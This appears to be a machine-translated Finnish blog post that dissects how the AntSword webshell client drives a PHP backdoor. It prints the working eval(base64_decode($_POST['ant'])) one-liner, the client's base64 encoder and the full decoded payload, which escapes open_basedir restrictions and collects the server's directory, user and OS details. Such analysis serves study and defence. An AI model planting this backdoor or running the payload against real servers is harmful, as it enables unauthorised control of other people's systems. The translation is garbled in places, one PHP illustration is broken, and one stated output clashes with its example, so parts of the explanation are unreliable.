2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
viitata
kirjoittajaEnsimmäinenEsimerkiksi
Troijan hevonen
<?php @eval(base64_decode($_POST['ant']));?>
Hanki ant-parametrin sisältö, sitten base64 purkaa se ja suorita se
Enkooderi
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
Luo satunnaisluku randomID, base64-kooda tiedot ja välitä se randomID-parametriin.
Sitteneval(base64_decode($_POST[${randomID}]));die();
Suorita base64-koodaus
Päinvastoin
Troijalainen saa sen ensindata[pwd]
Tuo onant
Arvo saadaan base64-dekoodauksen jälkeen
eval(base64_decode($_POST[${randomID}]));die();
Itse asiassa troijalainen tuli
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
Oletetaan, että luotu satunnaisluku randomID onA
, niin se on
<?php @eval(eval(base64_decode($_POST[A]));die(););?>
Troijan hevosen toisessa vaiheessadata[randomID]
, tuo on$_POST[${randomID}]
, eli täällä$_POST[A]
Se on base64-koodattu, joten se täytyy purkaa kerran. Sitten herää kysymys, miksi se pitää suorittaa kahdesti? ? ?Sitten sinun on tarkistettava se liikennepaketista
Täällä ei esitetä ympäristön rakentamista, Xiaopi, Yijian ja burpsuite.
Dekoodaa tietopakettikanta
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
base64_decode($_POST[_0x36c084a15bf7d])
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
Sitten siitä tuleeeval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")
Katsokaa tätä suurta kappaletta ja järjestäkää se
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "59ee6d"."26ac18";
echo @asenc($output);
echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
En tietenkään tiedä monia toimintoja, mutta tekoäly on olemassa!
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
Tämä kohta on
Sammuta virhenäyttö
Aseta skriptin suoritusaika
Hanki open_basedir:n ja ohituksen määritysarvoopen_basedir
Ominaisuusrajoitukset
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
Tämä osio hakee hakemiston, jossa nykyinen komentosarja sijaitsee, ja alustaa merkkijonoparametrit.$R
, kulkea aseman kirjaimen läpi, CZ räjäyttää aseman kirjaimen, käyttää posix_getegid-funktiota saadakseen komentosarjan suorittavan käyttäjän käyttäjänimen, käyttäjäryhmän ja muun sisällön, havaita$u
Onko se olemassa. Jos sitä ei ole, hanki se käyttämällä funktiota php_uname().
Tässä vaiheessa tämä php-koodi hankkii troijalaisen nykyisen suoritushakemiston, käyttäjän ja käyttöjärjestelmän tiedot välimuistimekanismin käytön vuoksi
Suorita kollektiivinen tulos asoutput()-funktiossa,
Lähetä yllä oleva pyyntöpaketti toistinmoduuliin ja huomaa, että palautetut tulokset ovat samat
Mutta tämä ei silti voi selittää, miksi on olemassa kaksi evalia. Itse asiassa muurahaisen välittämä sisältö kuuluu vain, kun eval-kerros on sijoitettu ulkopuolelle. Tässä on yksinkertainen esimerkki.
<?php
eval("eval('echo 1+1;');die();")
?>
Muuttaa
<?php
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
Lopputulos on 2, mikä tarkoittaa, että ulompi eval muuntaa merkkijonon suoritettavaksi funktioksi ja evalin sisäkerros suorittaa sisällön
Joten tässä esimerkissä troijalaisen eval-toimintoa käytetään aktivoimaan pyyntöpaketin eval-toiminto, jolloin saavutetaan komennon suorittamisen vaikutus.